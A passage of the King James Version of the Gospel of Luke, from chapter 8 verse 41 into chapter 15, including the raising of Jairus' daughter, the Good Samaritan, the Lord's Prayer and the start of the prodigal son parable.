behold, there came a man named Jairus, and he was a ruler of +the synagogue: and he fell down at Jesus' feet, and besought him that +he would come into his house: 8:42 For he had one only daughter, about +twelve years of age, and she lay a dying. But as he went the people +thronged him. + +8:43 And a woman having an issue of blood twelve years, which had +spent all her living upon physicians, neither could be healed of any, +8:44 Came behind him, and touched the border of his garment: and +immediately her issue of blood stanched. + +8:45 And Jesus said, Who touched me? When all denied, Peter and they +that were with him said, Master, the multitude throng thee and press +thee, and sayest thou, Who touched me? 8:46 And Jesus said, Somebody +hath touched me: for I perceive that virtue is gone out of me. + +8:47 And when the woman saw that she was not hid, she came trembling, +and falling down before him, she declared unto him before all the +people for what cause she had touched him, and how she was healed +immediately. + +8:48 And he said unto her, Daughter, be of good comfort: thy faith +hath made thee whole; go in peace. + +8:49 While he yet spake, there cometh one from the ruler of the +synagogue's house, saying to him, Thy daughter is dead; trouble not +the Master. + +8:50 But when Jesus heard it, he answered him, saying, Fear not: +believe only, and she shall be made whole. + +8:51 And when he came into the house, he suffered no man to go in, +save Peter, and James, and John, and the father and the mother of the +maiden. + +8:52 And all wept, and bewailed her: but he said, Weep not; she is not +dead, but sleepeth. + +8:53 And they laughed him to scorn, knowing that she was dead. + +8:54 And he put them all out, and took her by the hand, and called, +saying, Maid, arise. + +8:55 And her spirit came again, and she arose straightway: and he +commanded to give her meat. + +8:56 And her parents were astonished: but he charged them that they +should tell no man what was done. + +9:1 Then he called his twelve disciples together, and gave them power +and authority over all devils, and to cure diseases. + +9:2 And he sent them to preach the kingdom of God, and to heal the +sick. + +9:3 And he said unto them, Take nothing for your journey, neither +staves, nor scrip, neither bread, neither money; neither have two +coats apiece. + +9:4 And whatsoever house ye enter into, there abide, and thence +depart. + +9:5 And whosoever will not receive you, when ye go out of that city, +shake off the very dust from your feet for a testimony against them. + +9:6 And they departed, and went through the towns, preaching the +gospel, and healing every where. + +9:7 Now Herod the tetrarch heard of all that was done by him: and he +was perplexed, because that it was said of some, that John was risen +from the dead; 9:8 And of some, that Elias had appeared; and of +others, that one of the old prophets was risen again. + +9:9 And Herod said, John have I beheaded: but who is this, of whom I +hear such things? And he desired to see him. + +9:10 And the apostles, when they were returned, told him all that they +had done. And he took them, and went aside privately into a desert +place belonging to the city called Bethsaida. + +9:11 And the people, when they knew it, followed him: and he received +them, and spake unto them of the kingdom of God, and healed them that +had need of healing. + +9:12 And when the day began to wear away, then came the twelve, and +said unto him, Send the multitude away, that they may go into the +towns and country round about, and lodge, and get victuals: for we are +here in a desert place. + +9:13 But he said unto them, Give ye them to eat. And they said, We +have no more but five loaves and two fishes; except we should go and +buy meat for all this people. + +9:14 For they were about five thousand men. And he said to his +disciples, Make them sit down by fifties in a company. + +9:15 And they did so, and made them all sit down. + +9:16 Then he took the five loaves and the two fishes, and looking up +to heaven, he blessed them, and brake, and gave to the disciples to +set before the multitude. + +9:17 And they did eat, and were all filled: and there was taken up of +fragments that remained to them twelve baskets. + +9:18 And it came to pass, as he was alone praying, his disciples were +with him: and he asked them, saying, Whom say the people that I am? +9:19 They answering said, John the Baptist; but some say, Elias; and +others say, that one of the old prophets is risen again. + +9:20 He said unto them, But whom say ye that I am? Peter answering +said, The Christ of God. + +9:21 And he straitly charged them, and commanded them to tell no man +that thing; 9:22 Saying, The Son of man must suffer many things, and +be rejected of the elders and chief priests and scribes, and be slain, +and be raised the third day. + +9:23 And he said to them all, If any man will come after me, let him +deny himself, and take up his cross daily, and follow me. + +9:24 For whosoever will save his life shall lose it: but whosoever +will lose his life for my sake, the same shall save it. + +9:25 For what is a man advantaged, if he gain the whole world, and +lose himself, or be cast away? 9:26 For whosoever shall be ashamed of +me and of my words, of him shall the Son of man be ashamed, when he +shall come in his own glory, and in his Father's, and of the holy +angels. + +9:27 But I tell you of a truth, there be some standing here, which +shall not taste of death, till they see the kingdom of God. + +9:28 And it came to pass about an eight days after these sayings, he +took Peter and John and James, and went up into a mountain to pray. + +9:29 And as he prayed, the fashion of his countenance was altered, and +his raiment was white and glistering. + +9:30 And, behold, there talked with him two men, which were Moses and +Elias: 9:31 Who appeared in glory, and spake of his decease which he +should accomplish at Jerusalem. + +9:32 But Peter and they that were with him were heavy with sleep: and +when they were awake, they saw his glory, and the two men that stood +with him. + +9:33 And it came to pass, as they departed from him, Peter said unto +Jesus, Master, it is good for us to be here: and let us make three +tabernacles; one for thee, and one for Moses, and one for Elias: not +knowing what he said. + +9:34 While he thus spake, there came a cloud, and overshadowed them: +and they feared as they entered into the cloud. + +9:35 And there came a voice out of the cloud, saying, This is my +beloved Son: hear him. + +9:36 And when the voice was past, Jesus was found alone. And they kept +it close, and told no man in those days any of those things which they +had seen. + +9:37 And it came to pass, that on the next day, when they were come +down from the hill, much people met him. + +9:38 And, behold, a man of the company cried out, saying, Master, I +beseech thee, look upon my son: for he is mine only child. + +9:39 And, lo, a spirit taketh him, and he suddenly crieth out; and it +teareth him that he foameth again, and bruising him hardly departeth +from him. + +9:40 And I besought thy disciples to cast him out; and they could not. + +9:41 And Jesus answering said, O faithless and perverse generation, +how long shall I be with you, and suffer you? Bring thy son hither. + +9:42 And as he was yet a coming, the devil threw him down, and tare +him. + +And Jesus rebuked the unclean spirit, and healed the child, and +delivered him again to his father. + +9:43 And they were all amazed at the mighty power of God. But while +they wondered every one at all things which Jesus did, he said unto +his disciples, 9:44 Let these sayings sink down into your ears: for +the Son of man shall be delivered into the hands of men. + +9:45 But they understood not this saying, and it was hid from them, +that they perceived it not: and they feared to ask him of that saying. + +9:46 Then there arose a reasoning among them, which of them should be +greatest. + +9:47 And Jesus, perceiving the thought of their heart, took a child, +and set him by him, 9:48 And said unto them, Whosoever shall receive +this child in my name receiveth me: and whosoever shall receive me +receiveth him that sent me: for he that is least among you all, the +same shall be great. + +9:49 And John answered and said, Master, we saw one casting out devils +in thy name; and we forbad him, because he followeth not with us. + +9:50 And Jesus said unto him, Forbid him not: for he that is not +against us is for us. + +9:51 And it came to pass, when the time was come that he should be +received up, he stedfastly set his face to go to Jerusalem, 9:52 And +sent messengers before his face: and they went, and entered into a +village of the Samaritans, to make ready for him. + +9:53 And they did not receive him, because his face was as though he +would go to Jerusalem. + +9:54 And when his disciples James and John saw this, they said, Lord, +wilt thou that we command fire to come down from heaven, and consume +them, even as Elias did? 9:55 But he turned, and rebuked them, and +said, Ye know not what manner of spirit ye are of. + +9:56 For the Son of man is not come to destroy men's lives, but to +save them. And they went to another village. + +9:57 And it came to pass, that, as they went in the way, a certain man +said unto him, Lord, I will follow thee whithersoever thou goest. + +9:58 And Jesus said unto him, Foxes have holes, and birds of the air +have nests; but the Son of man hath not where to lay his head. + +9:59 And he said unto another, Follow me. But he said, Lord, suffer me +first to go and bury my father. + +9:60 Jesus said unto him, Let the dead bury their dead: but go thou +and preach the kingdom of God. + +9:61 And another also said, Lord, I will follow thee; but let me first +go bid them farewell, which are at home at my house. + +9:62 And Jesus said unto him, No man, having put his hand to the +plough, and looking back, is fit for the kingdom of God. + +10:1 After these things the LORD appointed other seventy also, and +sent them two and two before his face into every city and place, +whither he himself would come. + +10:2 Therefore said he unto them, The harvest truly is great, but the +labourers are few: pray ye therefore the Lord of the harvest, that he +would send forth labourers into his harvest. + +10:3 Go your ways: behold, I send you forth as lambs among wolves. + +10:4 Carry neither purse, nor scrip, nor shoes: and salute no man by +the way. + +10:5 And into whatsoever house ye enter, first say, Peace be to this +house. + +10:6 And if the son of peace be there, your peace shall rest upon it: +if not, it shall turn to you again. + +10:7 And in the same house remain, eating and drinking such things as +they give: for the labourer is worthy of his hire. Go not from house +to house. + +10:8 And into whatsoever city ye enter, and they receive you, eat such +things as are set before you: 10:9 And heal the sick that are therein, +and say unto them, The kingdom of God is come nigh unto you. + +10:10 But into whatsoever city ye enter, and they receive you not, go +your ways out into the streets of the same, and say, 10:11 Even the +very dust of your city, which cleaveth on us, we do wipe off against +you: notwithstanding be ye sure of this, that the kingdom of God is +come nigh unto you. + +10:12 But I say unto you, that it shall be more tolerable in that day +for Sodom, than for that city. + +10:13 Woe unto thee, Chorazin! woe unto thee, Bethsaida! for if the +mighty works had been done in Tyre and Sidon, which have been done in +you, they had a great while ago repented, sitting in sackcloth and +ashes. + +10:14 But it shall be more tolerable for Tyre and Sidon at the +judgment, than for you. + +10:15 And thou, Capernaum, which art exalted to heaven, shalt be +thrust down to hell. + +10:16 He that heareth you heareth me; and he that despiseth you +despiseth me; and he that despiseth me despiseth him that sent me. + +10:17 And the seventy returned again with joy, saying, Lord, even the +devils are subject unto us through thy name. + +10:18 And he said unto them, I beheld Satan as lightning fall from +heaven. + +10:19 Behold, I give unto you power to tread on serpents and +scorpions, and over all the power of the enemy: and nothing shall by +any means hurt you. + +10:20 Notwithstanding in this rejoice not, that the spirits are +subject unto you; but rather rejoice, because your names are written +in heaven. + +10:21 In that hour Jesus rejoiced in spirit, and said, I thank thee, O +Father, Lord of heaven and earth, that thou hast hid these things from +the wise and prudent, and hast revealed them unto babes: even so, +Father; for so it seemed good in thy sight. + +10:22 All things are delivered to me of my Father: and no man knoweth +who the Son is, but the Father; and who the Father is, but the Son, +and he to whom the Son will reveal him. + +10:23 And he turned him unto his disciples, and said privately, +Blessed are the eyes which see the things that ye see: 10:24 For I +tell you, that many prophets and kings have desired to see those +things which ye see, and have not seen them; and to hear those things +which ye hear, and have not heard them. + +10:25 And, behold, a certain lawyer stood up, and tempted him, saying, +Master, what shall I do to inherit eternal life? 10:26 He said unto +him, What is written in the law? how readest thou? 10:27 And he +answering said, Thou shalt love the Lord thy God with all thy heart, +and with all thy soul, and with all thy strength, and with all thy +mind; and thy neighbour as thyself. + +10:28 And he said unto him, Thou hast answered right: this do, and +thou shalt live. + +10:29 But he, willing to justify himself, said unto Jesus, And who is +my neighbour? 10:30 And Jesus answering said, A certain man went down +from Jerusalem to Jericho, and fell among thieves, which stripped him +of his raiment, and wounded him, and departed, leaving him half dead. + +10:31 And by chance there came down a certain priest that way: and +when he saw him, he passed by on the other side. + +10:32 And likewise a Levite, when he was at the place, came and looked +on him, and passed by on the other side. + +10:33 But a certain Samaritan, as he journeyed, came where he was: and +when he saw him, he had compassion on him, 10:34 And went to him, and +bound up his wounds, pouring in oil and wine, and set him on his own +beast, and brought him to an inn, and took care of him. + +10:35 And on the morrow when he departed, he took out two pence, and +gave them to the host, and said unto him, Take care of him; and +whatsoever thou spendest more, when I come again, I will repay thee. + +10:36 Which now of these three, thinkest thou, was neighbour unto him +that fell among the thieves? 10:37 And he said, He that shewed mercy +on him. Then said Jesus unto him, Go, and do thou likewise. + +10:38 Now it came to pass, as they went, that he entered into a +certain village: and a certain woman named Martha received him into +her house. + +10:39 And she had a sister called Mary, which also sat at Jesus' feet, +and heard his word. + +10:40 But Martha was cumbered about much serving, and came to him, and +said, Lord, dost thou not care that my sister hath left me to serve +alone? bid her therefore that she help me. + +10:41 And Jesus answered and said unto her, Martha, Martha, thou art +careful and troubled about many things: 10:42 But one thing is +needful: and Mary hath chosen that good part, which shall not be taken +away from her. + +11:1 And it came to pass, that, as he was praying in a certain place, +when he ceased, one of his disciples said unto him, Lord, teach us to +pray, as John also taught his disciples. + +11:2 And he said unto them, When ye pray, say, Our Father which art in +heaven, Hallowed be thy name. Thy kingdom come. Thy will be done, as +in heaven, so in earth. + +11:3 Give us day by day our daily bread. + +11:4 And forgive us our sins; for we also forgive every one that is +indebted to us. And lead us not into temptation; but deliver us from +evil. + +11:5 And he said unto them, Which of you shall have a friend, and +shall go unto him at midnight, and say unto him, Friend, lend me three +loaves; 11:6 For a friend of mine in his journey is come to me, and I +have nothing to set before him? 11:7 And he from within shall answer +and say, Trouble me not: the door is now shut, and my children are +with me in bed; I cannot rise and give thee. + +11:8 I say unto you, Though he will not rise and give him, because he +is his friend, yet because of his importunity he will rise and give +him as many as he needeth. + +11:9 And I say unto you, Ask, and it shall be given you; seek, and ye +shall find; knock, and it shall be opened unto you. + +11:10 For every one that asketh receiveth; and he that seeketh +findeth; and to him that knocketh it shall be opened. + +11:11 If a son shall ask bread of any of you that is a father, will he +give him a stone? or if he ask a fish, will he for a fish give him a +serpent? 11:12 Or if he shall ask an egg, will he offer him a +scorpion? 11:13 If ye then, being evil, know how to give good gifts +unto your children: how much more shall your heavenly Father give the +Holy Spirit to them that ask him? 11:14 And he was casting out a +devil, and it was dumb. And it came to pass, when the devil was gone +out, the dumb spake; and the people wondered. + +11:15 But some of them said, He casteth out devils through Beelzebub +the chief of the devils. + +11:16 And others, tempting him, sought of him a sign from heaven. + +11:17 But he, knowing their thoughts, said unto them, Every kingdom +divided against itself is brought to desolation; and a house divided +against a house falleth. + +11:18 If Satan also be divided against himself, how shall his kingdom +stand? because ye say that I cast out devils through Beelzebub. + +11:19 And if I by Beelzebub cast out devils, by whom do your sons cast +them out? therefore shall they be your judges. + +11:20 But if I with the finger of God cast out devils, no doubt the +kingdom of God is come upon you. + +11:21 When a strong man armed keepeth his palace, his goods are in +peace: 11:22 But when a stronger than he shall come upon him, and +overcome him, he taketh from him all his armour wherein he trusted, +and divideth his spoils. + +11:23 He that is not with me is against me: and he that gathereth not +with me scattereth. + +11:24 When the unclean spirit is gone out of a man, he walketh through +dry places, seeking rest; and finding none, he saith, I will return +unto my house whence I came out. + +11:25 And when he cometh, he findeth it swept and garnished. + +11:26 Then goeth he, and taketh to him seven other spirits more wicked +than himself; and they enter in, and dwell there: and the last state +of that man is worse than the first. + +11:27 And it came to pass, as he spake these things, a certain woman +of the company lifted up her voice, and said unto him, Blessed is the +womb that bare thee, and the paps which thou hast sucked. + +11:28 But he said, Yea rather, blessed are they that hear the word of +God, and keep it. + +11:29 And when the people were gathered thick together, he began to +say, This is an evil generation: they seek a sign; and there shall no +sign be given it, but the sign of Jonas the prophet. + +11:30 For as Jonas was a sign unto the Ninevites, so shall also the +Son of man be to this generation. + +11:31 The queen of the south shall rise up in the judgment with the +men of this generation, and condemn them: for she came from the utmost +parts of the earth to hear the wisdom of Solomon; and, behold, a +greater than Solomon is here. + +11:32 The men of Nineve shall rise up in the judgment with this +generation, and shall condemn it: for they repented at the preaching +of Jonas; and, behold, a greater than Jonas is here. + +11:33 No man, when he hath lighted a candle, putteth it in a secret +place, neither under a bushel, but on a candlestick, that they which +come in may see the light. + +11:34 The light of the body is the eye: therefore when thine eye is +single, thy whole body also is full of light; but when thine eye is +evil, thy body also is full of darkness. + +11:35 Take heed therefore that the light which is in thee be not +darkness. + +11:36 If thy whole body therefore be full of light, having no part +dark, the whole shall be full of light, as when the bright shining of +a candle doth give thee light. + +11:37 And as he spake, a certain Pharisee besought him to dine with +him: and he went in, and sat down to meat. + +11:38 And when the Pharisee saw it, he marvelled that he had not first +washed before dinner. + +11:39 And the Lord said unto him, Now do ye Pharisees make clean the +outside of the cup and the platter; but your inward part is full of +ravening and wickedness. + +11:40 Ye fools, did not he that made that which is without make that +which is within also? 11:41 But rather give alms of such things as ye +have; and, behold, all things are clean unto you. + +11:42 But woe unto you, Pharisees! for ye tithe mint and rue and all +manner of herbs, and pass over judgment and the love of God: these +ought ye to have done, and not to leave the other undone. + +11:43 Woe unto you, Pharisees! for ye love the uppermost seats in the +synagogues, and greetings in the markets. + +11:44 Woe unto you, scribes and Pharisees, hypocrites! for ye are as +graves which appear not, and the men that walk over them are not aware +of them. + +11:45 Then answered one of the lawyers, and said unto him, Master, +thus saying thou reproachest us also. + +11:46 And he said, Woe unto you also, ye lawyers! for ye lade men with +burdens grievous to be borne, and ye yourselves touch not the burdens +with one of your fingers. + +11:47 Woe unto you! for ye build the sepulchres of the prophets, and +your fathers killed them. + +11:48 Truly ye bear witness that ye allow the deeds of your fathers: +for they indeed killed them, and ye build their sepulchres. + +11:49 Therefore also said the wisdom of God, I will send them prophets +and apostles, and some of them they shall slay and persecute: 11:50 +That the blood of all the prophets, which was shed from the foundation +of the world, may be required of this generation; 11:51 From the blood +of Abel unto the blood of Zacharias which perished between the altar +and the temple: verily I say unto you, It shall be required of this +generation. + +11:52 Woe unto you, lawyers! for ye have taken away the key of +knowledge: ye entered not in yourselves, and them that were entering +in ye hindered. + +11:53 And as he said these things unto them, the scribes and the +Pharisees began to urge him vehemently, and to provoke him to speak of +many things: 11:54 Laying wait for him, and seeking to catch something +out of his mouth, that they might accuse him. + +12:1 In the mean time, when there were gathered together an +innumerable multitude of people, insomuch that they trode one upon +another, he began to say unto his disciples first of all, Beware ye of +the leaven of the Pharisees, which is hypocrisy. + +12:2 For there is nothing covered, that shall not be revealed; neither +hid, that shall not be known. + +12:3 Therefore whatsoever ye have spoken in darkness shall be heard in +the light; and that which ye have spoken in the ear in closets shall +be proclaimed upon the housetops. + +12:4 And I say unto you my friends, Be not afraid of them that kill +the body, and after that have no more that they can do. + +12:5 But I will forewarn you whom ye shall fear: Fear him, which after +he hath killed hath power to cast into hell; yea, I say unto you, Fear +him. + +12:6 Are not five sparrows sold for two farthings, and not one of them +is forgotten before God? 12:7 But even the very hairs of your head +are all numbered. Fear not therefore: ye are of more value than many +sparrows. + +12:8 Also I say unto you, Whosoever shall confess me before men, him +shall the Son of man also confess before the angels of God: 12:9 But +he that denieth me before men shall be denied before the angels of +God. + +12:10 And whosoever shall speak a word against the Son of man, it +shall be forgiven him: but unto him that blasphemeth against the Holy +Ghost it shall not be forgiven. + +12:11 And when they bring you unto the synagogues, and unto +magistrates, and powers, take ye no thought how or what thing ye shall +answer, or what ye shall say: 12:12 For the Holy Ghost shall teach you +in the same hour what ye ought to say. + +12:13 And one of the company said unto him, Master, speak to my +brother, that he divide the inheritance with me. + +12:14 And he said unto him, Man, who made me a judge or a divider over +you? 12:15 And he said unto them, Take heed, and beware of +covetousness: for a man's life consisteth not in the abundance of the +things which he possesseth. + +12:16 And he spake a parable unto them, saying, The ground of a +certain rich man brought forth plentifully: 12:17 And he thought +within himself, saying, What shall I do, because I have no room where +to bestow my fruits? 12:18 And he said, This will I do: I will pull +down my barns, and build greater; and there will I bestow all my +fruits and my goods. + +12:19 And I will say to my soul, Soul, thou hast much goods laid up +for many years; take thine ease, eat, drink, and be merry. + +12:20 But God said unto him, Thou fool, this night thy soul shall be +required of thee: then whose shall those things be, which thou hast +provided? 12:21 So is he that layeth up treasure for himself, and is +not rich toward God. + +12:22 And he said unto his disciples, Therefore I say unto you, Take +no thought for your life, what ye shall eat; neither for the body, +what ye shall put on. + +12:23 The life is more than meat, and the body is more than raiment. + +12:24 Consider the ravens: for they neither sow nor reap; which +neither have storehouse nor barn; and God feedeth them: how much more +are ye better than the fowls? 12:25 And which of you with taking +thought can add to his stature one cubit? 12:26 If ye then be not +able to do that thing which is least, why take ye thought for the +rest? 12:27 Consider the lilies how they grow: they toil not, they +spin not; and yet I say unto you, that Solomon in all his glory was +not arrayed like one of these. + +12:28 If then God so clothe the grass, which is to day in the field, +and to morrow is cast into the oven; how much more will he clothe you, +O ye of little faith? 12:29 And seek not ye what ye shall eat, or +what ye shall drink, neither be ye of doubtful mind. + +12:30 For all these things do the nations of the world seek after: and +your Father knoweth that ye have need of these things. + +12:31 But rather seek ye the kingdom of God; and all these things +shall be added unto you. + +12:32 Fear not, little flock; for it is your Father's good pleasure to +give you the kingdom. + +12:33 Sell that ye have, and give alms; provide yourselves bags which +wax not old, a treasure in the heavens that faileth not, where no +thief approacheth, neither moth corrupteth. + +12:34 For where your treasure is, there will your heart be also. + +12:35 Let your loins be girded about, and your lights burning; 12:36 +And ye yourselves like unto men that wait for their lord, when he will +return from the wedding; that when he cometh and knocketh, they may +open unto him immediately. + +12:37 Blessed are those servants, whom the lord when he cometh shall +find watching: verily I say unto you, that he shall gird himself, and +make them to sit down to meat, and will come forth and serve them. + +12:38 And if he shall come in the second watch, or come in the third +watch, and find them so, blessed are those servants. + +12:39 And this know, that if the goodman of the house had known what +hour the thief would come, he would have watched, and not have +suffered his house to be broken through. + +12:40 Be ye therefore ready also: for the Son of man cometh at an hour +when ye think not. + +12:41 Then Peter said unto him, Lord, speakest thou this parable unto +us, or even to all? 12:42 And the Lord said, Who then is that +faithful and wise steward, whom his lord shall make ruler over his +household, to give them their portion of meat in due season? 12:43 +Blessed is that servant, whom his lord when he cometh shall find so +doing. + +12:44 Of a truth I say unto you, that he will make him ruler over all +that he hath. + +12:45 But and if that servant say in his heart, My lord delayeth his +coming; and shall begin to beat the menservants and maidens, and to +eat and drink, and to be drunken; 12:46 The lord of that servant will +come in a day when he looketh not for him, and at an hour when he is +not aware, and will cut him in sunder, and will appoint him his +portion with the unbelievers. + +12:47 And that servant, which knew his lord's will, and prepared not +himself, neither did according to his will, shall be beaten with many +stripes. + +12:48 But he that knew not, and did commit things worthy of stripes, +shall be beaten with few stripes. For unto whomsoever much is given, +of him shall be much required: and to whom men have committed much, of +him they will ask the more. + +12:49 I am come to send fire on the earth; and what will I, if it be +already kindled? 12:50 But I have a baptism to be baptized with; and +how am I straitened till it be accomplished! 12:51 Suppose ye that I +am come to give peace on earth? I tell you, Nay; but rather division: +12:52 For from henceforth there shall be five in one house divided, +three against two, and two against three. + +12:53 The father shall be divided against the son, and the son against +the father; the mother against the daughter, and the daughter against +the mother; the mother in law against her daughter in law, and the +daughter in law against her mother in law. + +12:54 And he said also to the people, When ye see a cloud rise out of +the west, straightway ye say, There cometh a shower; and so it is. + +12:55 And when ye see the south wind blow, ye say, There will be heat; +and it cometh to pass. + +12:56 Ye hypocrites, ye can discern the face of the sky and of the +earth; but how is it that ye do not discern this time? 12:57 Yea, and +why even of yourselves judge ye not what is right? 12:58 When thou +goest with thine adversary to the magistrate, as thou art in the way, +give diligence that thou mayest be delivered from him; lest he hale +thee to the judge, and the judge deliver thee to the officer, and the +officer cast thee into prison. + +12:59 I tell thee, thou shalt not depart thence, till thou hast paid +the very last mite. + +13:1 There were present at that season some that told him of the +Galilaeans, whose blood Pilate had mingled with their sacrifices. + +13:2 And Jesus answering said unto them, Suppose ye that these +Galilaeans were sinners above all the Galilaeans, because they +suffered such things? 13:3 I tell you, Nay: but, except ye repent, ye +shall all likewise perish. + +13:4 Or those eighteen, upon whom the tower in Siloam fell, and slew +them, think ye that they were sinners above all men that dwelt in +Jerusalem? 13:5 I tell you, Nay: but, except ye repent, ye shall all +likewise perish. + +13:6 He spake also this parable; A certain man had a fig tree planted +in his vineyard; and he came and sought fruit thereon, and found none. + +13:7 Then said he unto the dresser of his vineyard, Behold, these +three years I come seeking fruit on this fig tree, and find none: cut +it down; why cumbereth it the ground? 13:8 And he answering said unto +him, Lord, let it alone this year also, till I shall dig about it, and +dung it: 13:9 And if it bear fruit, well: and if not, then after that +thou shalt cut it down. + +13:10 And he was teaching in one of the synagogues on the sabbath. + +13:11 And, behold, there was a woman which had a spirit of infirmity +eighteen years, and was bowed together, and could in no wise lift up +herself. + +13:12 And when Jesus saw her, he called her to him, and said unto her, +Woman, thou art loosed from thine infirmity. + +13:13 And he laid his hands on her: and immediately she was made +straight, and glorified God. + +13:14 And the ruler of the synagogue answered with indignation, +because that Jesus had healed on the sabbath day, and said unto the +people, There are six days in which men ought to work: in them +therefore come and be healed, and not on the sabbath day. + +13:15 The Lord then answered him, and said, Thou hypocrite, doth not +each one of you on the sabbath loose his ox or his ass from the stall, +and lead him away to watering? 13:16 And ought not this woman, being +a daughter of Abraham, whom Satan hath bound, lo, these eighteen +years, be loosed from this bond on the sabbath day? 13:17 And when he +had said these things, all his adversaries were ashamed: and all the +people rejoiced for all the glorious things that were done by him. + +13:18 Then said he, Unto what is the kingdom of God like? and +whereunto shall I resemble it? 13:19 It is like a grain of mustard +seed, which a man took, and cast into his garden; and it grew, and +waxed a great tree; and the fowls of the air lodged in the branches of +it. + +13:20 And again he said, Whereunto shall I liken the kingdom of God? +13:21 It is like leaven, which a woman took and hid in three measures +of meal, till the whole was leavened. + +13:22 And he went through the cities and villages, teaching, and +journeying toward Jerusalem. + +13:23 Then said one unto him, Lord, are there few that be saved? And +he said unto them, 13:24 Strive to enter in at the strait gate: for +many, I say unto you, will seek to enter in, and shall not be able. + +13:25 When once the master of the house is risen up, and hath shut to +the door, and ye begin to stand without, and to knock at the door, +saying, Lord, Lord, open unto us; and he shall answer and say unto +you, I know you not whence ye are: 13:26 Then shall ye begin to say, +We have eaten and drunk in thy presence, and thou hast taught in our +streets. + +13:27 But he shall say, I tell you, I know you not whence ye are; +depart from me, all ye workers of iniquity. + +13:28 There shall be weeping and gnashing of teeth, when ye shall see +Abraham, and Isaac, and Jacob, and all the prophets, in the kingdom of +God, and you yourselves thrust out. + +13:29 And they shall come from the east, and from the west, and from +the north, and from the south, and shall sit down in the kingdom of +God. + +13:30 And, behold, there are last which shall be first, and there are +first which shall be last. + +13:31 The same day there came certain of the Pharisees, saying unto +him, Get thee out, and depart hence: for Herod will kill thee. + +13:32 And he said unto them, Go ye, and tell that fox, Behold, I cast +out devils, and I do cures to day and to morrow, and the third day I +shall be perfected. + +13:33 Nevertheless I must walk to day, and to morrow, and the day +following: for it cannot be that a prophet perish out of Jerusalem. + +13:34 O Jerusalem, Jerusalem, which killest the prophets, and stonest +them that are sent unto thee; how often would I have gathered thy +children together, as a hen doth gather her brood under her wings, and +ye would not! 13:35 Behold, your house is left unto you desolate: and +verily I say unto you, Ye shall not see me, until the time come when +ye shall say, Blessed is he that cometh in the name of the Lord. + +14:1 And it came to pass, as he went into the house of one of the +chief Pharisees to eat bread on the sabbath day, that they watched +him. + +14:2 And, behold, there was a certain man before him which had the +dropsy. + +14:3 And Jesus answering spake unto the lawyers and Pharisees, saying, +Is it lawful to heal on the sabbath day? 14:4 And they held their +peace. And he took him, and healed him, and let him go; 14:5 And +answered them, saying, Which of you shall have an ass or an ox fallen +into a pit, and will not straightway pull him out on the sabbath day? +14:6 And they could not answer him again to these things. + +14:7 And he put forth a parable to those which were bidden, when he +marked how they chose out the chief rooms; saying unto them. + +14:8 When thou art bidden of any man to a wedding, sit not down in the +highest room; lest a more honourable man than thou be bidden of him; +14:9 And he that bade thee and him come and say to thee, Give this man +place; and thou begin with shame to take the lowest room. + +14:10 But when thou art bidden, go and sit down in the lowest room; +that when he that bade thee cometh, he may say unto thee, Friend, go +up higher: then shalt thou have worship in the presence of them that +sit at meat with thee. + +14:11 For whosoever exalteth himself shall be abased; and he that +humbleth himself shall be exalted. + +14:12 Then said he also to him that bade him, When thou makest a +dinner or a supper, call not thy friends, nor thy brethren, neither +thy kinsmen, nor thy rich neighbours; lest they also bid thee again, +and a recompence be made thee. + +14:13 But when thou makest a feast, call the poor, the maimed, the +lame, the blind: 14:14 And thou shalt be blessed; for they cannot +recompense thee: for thou shalt be recompensed at the resurrection of +the just. + +14:15 And when one of them that sat at meat with him heard these +things, he said unto him, Blessed is he that shall eat bread in the +kingdom of God. + +14:16 Then said he unto him, A certain man made a great supper, and +bade many: 14:17 And sent his servant at supper time to say to them +that were bidden, Come; for all things are now ready. + +14:18 And they all with one consent began to make excuse. The first +said unto him, I have bought a piece of ground, and I must needs go +and see it: I pray thee have me excused. + +14:19 And another said, I have bought five yoke of oxen, and I go to +prove them: I pray thee have me excused. + +14:20 And another said, I have married a wife, and therefore I cannot +come. + +14:21 So that servant came, and shewed his lord these things. Then the +master of the house being angry said to his servant, Go out quickly +into the streets and lanes of the city, and bring in hither the poor, +and the maimed, and the halt, and the blind. + +14:22 And the servant said, Lord, it is done as thou hast commanded, +and yet there is room. + +14:23 And the lord said unto the servant, Go out into the highways and +hedges, and compel them to come in, that my house may be filled. + +14:24 For I say unto you, That none of those men which were bidden +shall taste of my supper. + +14:25 And there went great multitudes with him: and he turned, and +said unto them, 14:26 If any man come to me, and hate not his father, +and mother, and wife, and children, and brethren, and sisters, yea, +and his own life also, he cannot be my disciple. + +14:27 And whosoever doth not bear his cross, and come after me, cannot +be my disciple. + +14:28 For which of you, intending to build a tower, sitteth not down +first, and counteth the cost, whether he have sufficient to finish it? +14:29 Lest haply, after he hath laid the foundation, and is not able +to finish it, all that behold it begin to mock him, 14:30 Saying, This +man began to build, and was not able to finish. + +14:31 Or what king, going to make war against another king, sitteth +not down first, and consulteth whether he be able with ten thousand to +meet him that cometh against him with twenty thousand? 14:32 Or else, +while the other is yet a great way off, he sendeth an ambassage, and +desireth conditions of peace. + +14:33 So likewise, whosoever he be of you that forsaketh not all that +he hath, he cannot be my disciple. + +14:34 Salt is good: but if the salt have lost his savour, wherewith +shall it be seasoned? 14:35 It is neither fit for the land, nor yet +for the dunghill; but men cast it out. He that hath ears to hear, let +him hear. + +15:1 Then drew near unto him all the publicans and sinners for to hear +him. + +15:2 And the Pharisees and scribes murmured, saying, This man +receiveth sinners, and eateth with them. + +15:3 And he spake this parable unto them, saying, 15:4 What man of +you, having an hundred sheep, if he lose one of them, doth not leave +the ninety and nine in the wilderness, and go after that which is +lost, until he find it? 15:5 And when he hath found it, he layeth it +on his shoulders, rejoicing. + +15:6 And when he cometh home, he calleth together his friends and +neighbours, saying unto them, Rejoice with me; for I have found my +sheep which was lost. + +15:7 I say unto you, that likewise joy shall be in heaven over one +sinner that repenteth, more than over ninety and nine just persons, +which need no repentance. + +15:8 Either what woman having ten pieces of silver, if she lose one +piece, doth not light a candle, and sweep the house, and seek +diligently till she find it? 15:9 And when she hath found it, she +calleth her friends and her neighbours together, saying, Rejoice with +me; for I have found the piece which I had lost. + +15:10 Likewise, I say unto you, there is joy in the presence of the +angels of God over one sinner that repenteth. + +15:11 And he said, A certain man had two sons: 15:12 And the younger +of them said to his father, Father, give me the portion of goods that +falleth to me. And he divided unto them his living. + +15:13 And not many days after the younger son gathered all together, +and took his journey into a far country, and there wasted his +substance with riotous living. + +15:14 And when he had spent all, there arose a mighty famine in that +land; and he began to be in want. + +15:15 And he went and joined himself to a citizen of that country; and +he sent him into his fields to feed swine. + +15:16 And he would fain have filled his belly with the husks that the +swine did eat: and no man gave unto 